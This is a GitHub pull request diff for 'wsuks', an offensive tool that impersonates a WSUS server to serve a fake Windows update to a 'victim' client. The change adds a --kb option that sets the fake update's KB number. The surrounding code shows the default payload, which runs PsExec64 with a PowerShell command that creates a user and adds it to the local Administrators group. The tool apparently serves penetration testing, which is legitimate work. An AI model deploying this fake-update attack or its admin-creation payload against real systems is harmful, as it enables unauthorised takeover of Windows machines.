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added arg for manual KB number #23

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Merged
NeffIsBack merged 2 commits into from
Aug 16, 2026
Merged

added arg for manual KB number #23

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fe1f9c4
added arg for manual KB number
rtfmkiesel Aug 12, 2026
5ec281a
fixed indentation
rtfmkiesel Aug 12, 2026
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1 change: 1 addition & 0 deletions wsuks/lib/argparser.py
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Original file line number Diff line number Diff line change
Expand Up @@ -60,6 +60,7 @@ def initParser():

parser.add_argument("-t", "--target-ip", metavar="", dest="targetIp", help="IP Address of the victim Client.", required=not mode_args.serve_only and not mode_args.only_discover)
parser.add_argument("-I", "--interface", metavar="", help="Network Interface to use. (DEFAULT: %(default)s)", default="eth0")
parser.add_argument("--kb", metavar="", type=int, help="KB number to use for the fake update (DEFAULT: random)")
parser.add_argument("-e", "--executable", metavar="", default=f"{dirname(wsuks.__file__)}/executables/PsExec64.exe", type=argparse.FileType("rb"), help="The executable to returned to the victim. It has to be signed by Microsoft (DEFAULT: %(default)s)")
parser.add_argument("-c", "--command", metavar="", default='/accepteula /s powershell.exe "{CREATE_USER_COMMAND}Add-LocalGroupMember -Group $(Get-LocalGroup -SID S-1-5-32-544 | Select Name) -Member {WSUKS_USER};"', help="The command to execute on the victim. \n(DEFAULT (details see README): %(default)s)",)

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4 changes: 2 additions & 2 deletions wsuks/lib/wsusserver.py
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Expand Up @@ -19,7 +19,7 @@ class WSUSUpdateHandler:
Mostly inspired by https://github.com/GoSecure/pywsus
"""

def __init__(self, executable_file, executable_name, client_location):
def __init__(self, executable_file, executable_name, client_location, kb_number=None):
self.logger = logging.getLogger("wsuks")

self.get_config_xml = ""
Expand All @@ -33,7 +33,7 @@ def __init__(self, executable_file, executable_name, client_location):
self.revision_ids = [randint(900000, 999999), randint(900000, 999999)]
self.deployment_ids = [randint(80000, 99999), randint(80000, 99999)]
self.uuids = [uuid.uuid4(), uuid.uuid4()]
self.kb_number = randint(1000000, 9999999)
self.kb_number = kb_number if kb_number else randint(1000000, 9999999)

self.executable = executable_file
self.executable_name = executable_name
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4 changes: 2 additions & 2 deletions wsuks/wsuks.py
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Expand Up @@ -127,9 +127,9 @@ def run(self):
# Prepare WSUS HTTP Server
# If we have a TLS cert we have to switch to HTTPS and supply the DNS name
if self.args.tlsCert:
update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"https://{self.wsusHost}:{self.wsusPort}")
update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"https://{self.wsusHost}:{self.wsusPort}", self.args.kb)
else:
update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"http://{self.hostIp}:{self.wsusPort}")
update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"http://{self.hostIp}:{self.wsusPort}", self.args.kb)
update_handler.set_resources_xml(self.command)
self.logger.debug(update_handler)

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